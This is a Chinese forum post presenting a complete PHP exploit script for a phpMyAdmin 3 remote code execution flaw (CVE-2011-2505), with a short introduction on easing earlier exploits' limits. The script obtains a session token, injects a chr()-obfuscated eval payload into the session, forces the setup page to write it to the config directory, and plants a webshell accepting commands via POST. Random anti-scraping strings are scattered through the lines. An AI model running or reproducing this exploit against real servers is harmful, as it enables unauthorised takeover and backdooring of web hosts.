找回密码
 立即注册
查看: 2375|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
1 M9 h& Q+ S: C5 N; p
: U! O, m7 w3 h  L* Z昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
# c" f% Z$ L3 |: J# n3 C7 Q5 B- f/ a+ V
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:3 }0 ]% @$ H. I' S+ V/ L/ Z
一是session.auto_start = 1;
' f* h) q: D: x; ^# r7 u二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
3 E0 i9 k4 R/ w/ S& J" D+ [  b当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。: `+ b5 _4 I. s6 z! u- j# C
, {$ ~5 \2 B, q& D  g% H
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。* S' k% {( d1 Q8 D/ ~5 A
7 r+ }0 a! u) F! w4 V1 t0 p" F( b% A2 H
于是写了这个php版本的exp,代码如下:4 Y0 s0 o5 Z* i# a; L; w

. g, \. y. F2 K. B#!/usr/bin/php3 k5 |; @$ X/ J4 B& F: f4 D7 s
<?php
; s/ u$ ~8 i3 @5 ^" g4 fprint_r('
0 R6 t+ \" p' A( r; Q) P8 o! O$ I! L' l+---------------------------------------------------------------------------++ ^; G* |0 E: C6 r
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
0 F) Q6 W* U& D4 Fby oldjun(www.oldjun.com)3 A; A2 R& H- v5 c8 q" ~
welcome to www.t00ls.net" L7 O, ^  Z) F' z* F& U0 W9 b' e4 Z+ y
mail: oldjun@gmail.com- S0 Z, w5 x  g7 s3 K- b
Assigned CVE id: CVE-2011-2505) z  d9 T. G* e. d" I* ?
+---------------------------------------------------------------------------+
( K- ]) X; D( t" \! @1 `+ c');
( F7 y7 }$ J) G+ `0 [9 ]7 H/ X
3 N% u) Z8 _1 s! y, A% E/**
6 z, c# |' }3 v- n4 X" J; _, o * working when the directory:"config" exists and is writeable.8 c. x# ?# w( u+ _  V% |5 M5 x
**/( `4 M8 T6 S( Z% S
  w) o7 b1 d$ S
if ($argc < 3) {6 \* n5 ~1 X. o1 W3 L
    print_r('' V) [4 H8 r) F4 n# K. i; I
+---------------------------------------------------------------------------+
* s4 c: A" `0 v1 B3 F; zUsage: php '.$argv[0].' host path4 K3 Y! r7 q5 E' |& Y
host:      target server (ip/hostname)+ V/ A: R! q, c( F0 Q
path:      path to pma3  W; B+ H# }! B) `* X) G9 x
Example:8 w. F* L% a! c3 E* P' }
php '.$argv[0].' localhost /pma/3 _3 Z2 g& a" L3 `7 |) D
+---------------------------------------------------------------------------+( b$ }1 F2 }& |+ }* W4 [, N
');/ k( K/ w4 P: V4 m7 N
    exit;
' f! U) t, e; ]6 A3 Q}
% f" z$ D) \; [6 T1 q% T  \: n. i
$host = $argv[1];3 B9 s, E4 L+ y, }& y+ A+ Z$ i
$path = $argv[2];  e+ i4 Q  `  s; Q# p
2 d6 J! V7 }6 V% b" G+ J( f
/**
  d$ d: W+ Z" ` * Try to determine if the directory:"config" exists  m5 \/ _0 n' H! b7 W4 ^$ z
**/
- t- E# h  q  c% v$ {echo "[+] Try to determine if the directory:config exists....\n";
& Z' M/ B* W" T$returnstr=php_request('config/');
& ~- l0 F7 N5 u' L1 e( gif(strpos($returnstr,'404')){+ D3 V8 l$ }2 C9 h; I  S
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
9 a# k& D+ P! q; n) W}
2 t4 {- s* O; T8 Z7 Y9 D7 {: J* M) r$ s; K6 H; a
/**
+ q/ t& `" \0 @2 x * Try to get token and sessionid
  }1 W0 u' z4 {3 a. F**/8 o: G$ P* Q' \/ D
echo "[+] Try to get token and sessionid....\n";
! l% |* Z6 P( }* e$ J$result=php_request('index.php');3 _7 d1 O2 V, ^/ G
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
! |. Y2 {& t+ G$ [) c8 k1 _$token=$resp[3];
* O+ u$ a& M$ p, o2 r$sessionid=$resp[1];% H1 M# Y  R7 `6 Q/ a
if($token && $sessionid){
+ T4 a- t6 L2 P" \# m0 T0 L    echo "[+] tokentoken\n";. a1 ?3 h# Q  r
    echo "[+] Session IDsessionid\n";8 }# G, w, h( e
}else{5 o6 r9 J+ I. I6 @5 ~
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
2 q5 F! Q8 _5 w2 K7 m}# v* V! D7 t! O; y* E
. y( W( l$ W2 N1 \1 d+ f
/**( m* \) F) a' u4 {- I7 c
* Try to insert shell into session! E0 m8 p% S" G0 [' b7 N
**/
. h6 f: \' W# Y2 Z  H4 W1 Y0 R: Oecho "[+] Try to insert shell into session....\n";
# E% l% P' k4 j1 v! _6 `! |& E* pphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.! Y% ?# c! e, F1 @; l

4 K% H# p9 V1 Q- ~1 ?7 M/**! G5 I! S) O! \. e2 V
* Try to create webshell5 f; f6 X- q# N
**/4 X8 ?% }# l4 z( T; B
echo "[+] Try to create webshell....\n";- y0 v6 T, N/ i. W6 P5 k8 d
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
9 N" z+ f/ V9 s3 \4 @9 H1 W/**. Q/ _: _* d  t" Z* W* q+ {
* Try to check if the webshell was created successfully
4 W! V$ {" a6 A**/
% _1 D( r0 `* ^  i. T* I* xecho "[+] Try to check if the webshell was created successfully....\n";
: ~3 o6 I( Z$ q2 r0 o5 \  W, x# Z) u, u$content=php_request('config/config.inc.php');
2 L& w, K. f2 F! j( j6 L; iif(strpos($content,'t00ls')){2 C/ J% k; r2 U0 R/ I& B' M( M: e
    echo "[+] Congratulations! Expoilt successfully....\n";  b! P) e* F. v  W- t
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";% s7 M0 S! b! f8 K' u5 V1 ^$ ^
}else{
) G$ B: G3 `4 w* ^5 T$ i# y    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
" z! a" X" Z4 @+ F}
6 h3 \  }3 Y( q- g9 `6 q: A+ H7 d) V' p4 n5 k
function php_request($url,$data='',$cookie=''){- Q% F' e+ G) y0 T; o
    global  $host, $path;" p$ V9 j- p7 o2 n
    # b) X( a# L( \  m, C% g% g
    $method=$data?'POST':'GET';
# F. a" F1 S/ c: Y2 L    + b2 i, R) H' L) @/ A6 E; X' W
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";2 c9 x5 o9 y6 Y% h
    $packet .= "Accept: */*\r\n";
8 x- H! o/ x5 t( f  `2 P, c. R    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
' k" `2 Q# \/ F1 g! w" }. Z    $packet .= "Host: $host\r\n";
7 `7 F1 S0 M) K    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";! _6 e; }8 R1 h4 B. D
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";3 z8 s' T/ Z. W) @; T  P+ a
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
( W. |* W0 [7 `9 I. o$ X$ W0 L: R    $packet .= "Connection: Close\r\n\r\n";
* H. V& w3 F* S0 b& I    $packet .= $data?$data:"";
! P7 M7 Q, o$ \; Y; e, K# j0 k4 S# M
    $fp = fsockopen(gethostbyname($host), 80);- f! y) C  E( Q, b
    if (!$fp) {8 Q! c( Q) v  q1 d4 n0 r  C2 c1 l
    echo 'No response from '.$host; die;# C+ e% H4 B/ o' W0 G
    }
% F6 h& H0 y: K5 [3 A. b    fputs($fp, $packet);
6 E: o/ A) R1 ?+ h7 l( o2 F
, _0 \# ~  j+ Q8 F) }& H% p0 ]    $resp = '';
9 ^7 b+ X8 ^3 @- z$ I4 b" m. i# f7 b1 \- [( y) ?1 V* R
    while ($fp && !feof($fp))
; }' Z; D8 D" b. ?$ G        $resp .= fread($fp, 1024);
0 ~# Q  d" N# ~, p8 }- `4 G0 n! r' N2 t% {; D
    return $resp;( o1 V1 T( g- E8 u( J
}. `: b- x- p3 }5 }
    ) e* \& W4 V7 |! q+ V% p3 ^
?>
! X* x, y8 D4 l5 h, N+ c.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表